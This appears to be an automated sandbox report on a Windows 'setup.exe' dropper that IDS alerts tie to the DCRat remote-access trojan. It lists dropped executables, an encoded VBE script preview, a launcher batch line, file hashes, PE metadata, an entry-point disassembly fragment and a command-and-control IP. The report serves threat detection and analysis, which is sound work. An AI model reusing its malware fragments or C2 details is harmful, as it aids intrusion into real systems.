SHA-512:	D1E95726AE655538B2B3E42C5C17BF34FE44B637E8805DF559463E99EBBEF3D0C714AFB2AB8C68F116B119F674D0F4728F0B2D48ED171C4C72D7A1DCC61F7AF3
Malicious:	false
Preview:	iFks9MGYH6MNILdXc6j3qOMWnOQNzfmZl9HKmQyS197BK3d5NGAWjWqU2NFu53imUxlJETuLIQCqRLMtuV9teQ0PTxRZLDW8aUrWST04VyOSU9DrBVAj4zHD7W0RBVAE3DP6dzbaeEXqCh4TtjXzDxElNoZ5dj2AxJYRuGOL4jEzbaBZbhhc7KAG9oszaf75MX22JninVM5esPJwm9d6CaCnJRRGYZvYlJnEiJPy84HvPfYue6MaBA3vUPs1VcO5ag3ilEOdtp8ITQXn3hlbMUWkQ1uTaYcgpLUsmzIZstqVCvcD1F8x0xtGJSSuU5CVNbcI6oBDZLtcnBifYqbVZop2bOjUgYFwrUIkSUHND4YoDQ

C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\96f3f64f4a7d20

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	ASCII text, with very long lines (424), with no line terminators
Category:	dropped
Size (bytes):	424
Entropy (8bit):	5.870907557798523
Encrypted:	false
SSDEEP:	12:vPAVVuXoJ7hStDuLrXazhgZWJ96cGq7H+k69rX:WBJcDuLD4+x3q7+k69L
MD5:	5128C1EF488C3D08BF193F47820FA339
SHA1:	A1DD9E4F26CE46B88624834A1187794D9E3CE648
SHA-256:	DB58B40D7B5B42C2E1D0E423248EDFA18B6D61279DEB5913A7292D093F8FA30E
SHA-512:	E87F421D900A2346286D2C9D03B31A3B3026A33076D70FC63410255BEEFD20D1E8554CB222BAB435595848246C19EA8C8B04903FBBF771407BC827DC0ACFA6EF
Malicious:	false
Preview:	0KONkox3N0f1VGvDoBT18YHJBJD50bEPvaHtE1yfccTMdjnoa7pVYKbbCEMbk2DwwPG59B8wNyYgF5qbgZe2vs1k8prApW5kYgZNdroY82Ikv5VHYu4KXKBDYf7TU8H02yHjfd8yuF32kQyCTkm4cuMOeVy8uVEAuRr7ywl5wGaSQIdHq49uWNYIm3EKoADZB3HSj1Og8rHWT47V2qR0VToh3iU5saQwCBQXBKiyqdvpFByr6sS7sNDsOkZAhTyiaVUSojUrIdK2h9b1um99ITDy7iJbviRWoNPurgDWXkyPDKKPIhQ4UyZGRfUGa36kLxOUtqKOjmlieyvxX3SNRXCzyIdML76enODQ60fcXCUrM1lduhsgltSyuYglN8ClpH4Que0hXzzPCUm6hAbnPZ246PgiT4PZ9tBF6VsP

C:\Recovery\oPmKvuejiIKwwErUS.exe

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\66fc9ff0ee96c2

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	ASCII text, with very long lines (688), with no line terminators
Category:	dropped
Size (bytes):	688
Entropy (8bit):	5.887481002063507
Encrypted:	false
SSDEEP:	12:ePa6hXkbGoN+1AIrp2gzKvUOzt9/jEQ5iMIe1u4R9OLC9gRKU4GXb3QLMp93jy:ePackbtNBIrpxKvUMRjVZIe1hWayKUPm
MD5:	9B99226438259C503FB1DA95C6E0CD8C
SHA1:	57697D52A3A697F8C1F1247FA3FF1FEA8C4BC4CD
SHA-256:	FC65E664016DEAF879D4128C02209DB6713F16535FDA712378E30CD0A095759C
SHA-512:	00667E97AA6AD2FB807C7EB178D8BD6843FA0F947D2A6A560207B40B5A3226310BCB54E843617A3182D037D677745D8C81FBE6461E48D6E85D31CDE888D46D00
Malicious:	false
Preview:	hoI82PsXu5aWTDDdqwZOGpAEwOhSbYn7JG6kRkYaaMZmpqHlDhZAxfk2nDLnsa5WSdMNHcLFX8y3PYZGG5O48mKogE7OZus9QDTLe3ekWTnyqqmOoEhwMBYpThrCf6qnPymMEOmNbnio9V8zbskUN6xPpo26MbFZnAj2DZJacUVictq7i1lwWVZTBXhaVpA9iIB8wFwCjK23lOw674XV0SCRkP0q2tEwTV9TrrLdFjNMdfswklcaRpIQGuYgPFJzFFkPPcOQt4QREzxEhEGRQnfnMtN7TpO9ZXHY5chHWMrWZ1LQ6T8K92jbk6CgPR6DqQ1qsZIFh84D6IOVh6AAqD9hypx9ZB2FQnpI9ehhK3nB8ffbrr8SQ6WnRU2DlIpgGyxScGWCYdzxa7iSJVSsCjzTRC0ome5BNH5JsN9lV63xGiNUwk4P07dg9dBaPra4hxkSCYk5WqXFpBMszg2CkqLPnYKOMjWng9QT84RX982JkX17QTlszXU0mVpoOVtxUtjqv3t4PeClxBpPhM838nxIpZrnPmJoOFz0yKMXjqdUVsDkqZHBX0yr6aBVMGpmVXWrMybWAlTRKcx6WG6zfHQYQH4XJ1KcA097WVY18uBwghgdnF9GJzHNG8bE3DMIa1RTdzkAsF1uGe1tkbuE2ESLtv0X4T75h2VpQN9xe8YE8WHm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msbrowser.exe.log

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.36827240602657
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpaqZ4x
MD5:	B28E0CCD25623D173B2EB29F3A99B9DD
SHA1:	070E4C4A7F903505259E41AFDF7873C31F90D591
SHA-256:	3A108902F93EF9E952D9E748207778718A2CBAEB0AB39C41BD37E9BB0B85BF3A
SHA-512:	17F5FBF18EE0058F928A4D7C53AA4B1191BA3110EDF8E853F145D720381FCEA650A3C997E3D56597150149771E14C529F1BDFDC4A2BBD3719336259C4DD8B342
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\sihost.exe

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\refBrokerDhcp\96f3f64f4a7d20

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	ASCII text, with very long lines (360), with no line terminators
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.8215505379210395
Encrypted:	false
SSDEEP:	6:frjJjyztA31lrvjNPkdysLiSj0iKIjWr/kvzwDqs78D0XCAXKyD14CN1Gkc6HxH:XVyztAFlrLNPkssLiQ0xIjzEdc4tXK2V
MD5:	B65EC986D679B3DF5EFCF9FD26A1F6F5
SHA1:	0A50045CA0B61AA399FDB0D924A7AECF9A87B012
SHA-256:	FD66B5D0CB7B0149D92F2E797A8F70F3F148687B135B76AEFD14FDB53BC6E5A4
SHA-512:	ABA24D02BC1A318F236B13FCF13BA18ACC6606288274DDAF25664FE8F0BF92D7078A96783F08B22E516E804A6D28F5966436721A0FE14602C2296DAD9D51B8F6
Malicious:	false
Preview:	9I8NvJlaLcNZCVmX0tZmJrpaGFy00kgT9wkMx6du385g1EpnMGn471MSdiHqVvjk53aPvZj4QptKvIjBZKnu7mWHkRsPyxZHYVl7oa1whsnRIBgV9FQKHznShTpeqTFcQmwaglX9T0MO8F8iuXPthOAjrSZUvXGNnKAgPGzXrQ0QmZUcUGtTEW5BmNsNMDO5u9kxEcToi2BQYt6S879oowJRP84CXlLoC5gnygX2xEvLUon2QZPODjR80TiFiQQ7qWOcMSecjH1jB76kVBv7V6lcnixe8RTgyye7aKq85xo5sr62W7ugeTluvwyof9dRxUvMc9KKUxCiRpu6l4HAhwBfNuLnWBc5TWHX6uZX

C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.709286105326306
Encrypted:	false
SSDEEP:	6:GFt2wqK+NkLzWbHhE18nZNDd3RL1wQJR8yFA38uf1:GFt7MCzWLy14d3XBJ2UA38uf1
MD5:	C54E49EAEB59C57E0D7BB2398E8EA617
SHA1:	3E6BED8FB43F94C190BCDBFE33E9BA826275DFD6
SHA-256:	0BCB8B3296B1B862104BC1917793A1B743AFC9E623D91F5136FBF30AE7E022ED
SHA-512:	D24DCD18188176F796B92D150B30D3B99C03654257FE48019308CCA5EBB062C7312047FEC43E0FA6823FF4EA29649C4F8DB61F2BA950881DF8A52EC15B662B85
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^sgAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v%T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJDn6AMW3.DG4maznWaGFAmDt9H!MR4mOE~,!BPWlsd.jDgAAA==^#~@.

C:\refBrokerDhcp\eop7KwarhdN0r.bat

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.024397470347699
Encrypted:	false
SSDEEP:	3:I5QDaPhNGtX0E:IOGZgtkE
MD5:	65CBCA0F14030E37F4536942BE742FED
SHA1:	1823A610CFB0945E0E234651D4045931AA241BA5
SHA-256:	7D881D8C2A5A8756B85ABE067E24EFDC7C657D1AF28BA1132D0E9AE443941D5D
SHA-512:	87EB63D67E28C0F42C1B89C631C4573D0D8F9DC145F3720D26D3AF8F7DC76E7D105B0598FE398F9E73D95E814301678097BE811977C184EA2E101D4E0E8CC044
Malicious:	false
Preview:	"C:\refBrokerDhcp\msbrowser.exe"

C:\refBrokerDhcp\msbrowser.exe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.368103552663213
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	1'165'431 bytes
MD5:	027bbb0a4d9b911c6d707866e98c1314
SHA1:	bfbdb849dcf89395492d916b69308505b87bb7fc
SHA256:	2a31d3dc6783dad77df215a986789fb27933fe4b5c59705eb20c256788d4533c
SHA512:	a66535cebff5e208c685c9f7a880e7bf36a70872cabd512ffdb8e97497c9f4438f7ebc213303487d9a652f1dabdbc438b5bd98be1cd0ed1accfe896cac69e94c
SSDEEP:	24576:U2G/nvxW3Ww0t9XYOIWhhyjpaMwvhIhL2pCrC:UbA309YOIXEElW
TLSH:	4B4539027E44CA12F0192633C2EF454847B4AC506BA6F72B7EBA376E55123937D1DACB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41ec40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007FBD54E44919h
jmp 00007FBD54E4432Dh
cmp ecx, dword ptr [0043E668h]
jne 00007FBD54E444A5h
ret
jmp 00007FBD54E44A9Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FBD54E37237h
mov dword ptr [esi], 00435580h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00435588h
mov dword ptr [ecx], 00435580h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00435568h
push eax
call 00007FBD54E4763Dh
pop ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FBD54E371CEh
push 0043B704h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FBD54E46D52h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FBD54E44444h
push 0043B91Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FBD54E46D35h
int3
jmp 00007FBD54E48D83h
jmp dword ptr [00433260h]
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push 00421EB0h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3c820	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c854	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0xdfd0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x71000	0x2268	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3aac0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35508	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3bdc4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x310ea	0x31200	c5bf61bbedb6ad471e9dc6266398e965	False	0.583959526081425	data	6.708075396341128	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xa612	0xa800	7980b588d5b28128a2f3c36cabe2ce98	False	0.45284598214285715	data	5.221742709250668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x23728	0x1000	201530c9e56f172adf2473053298d48f	False	0.36767578125	data	3.7088186669877685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x62000	0x188	0x200	c5d41d8f254f69e567595ab94266cfdc	False	0.4453125	data	3.2982538067961342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0xdfd0	0xe000	f6c0f34fae6331b50a7ad2efc4bfefdb	False	0.6370326450892857	data	6.6367506404157535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x71000	0x2268	0x2400	c7a942b723cb29d9c02f7c611b544b50	False	0.7681206597222222	data	6.5548620101740545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x63650	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x64198	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x65748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x65cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x66558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x67400	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x67868	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x68910	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6aeb8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x6f588	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x6f358	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x6f498	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x6f228	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x6eef0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x6ec98	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x6ff68	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x70150	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x70320	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x704d8	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x70620	0x446	data	English	United States	0.340036563071298
RT_STRING	0x70a68	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x70bd0	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x70d28	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x70e38	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x70ef8	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x6ec30	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x6f810	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T17:51:17.564640+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.4	49734	141.8.192.164	80	TCP
2024-12-29T17:51:49.824150+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	141.8.192.164	80	192.168.2.4	49736	TCP
2024-12-29T17:52:50.816569+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	141.8.192.164	80	192.168.2.4	49793	TCP

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 17:51:15.329035997 CET	60616	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:51:15.921006918 CET	53	60616	1.1.1.1	192.168.2.4
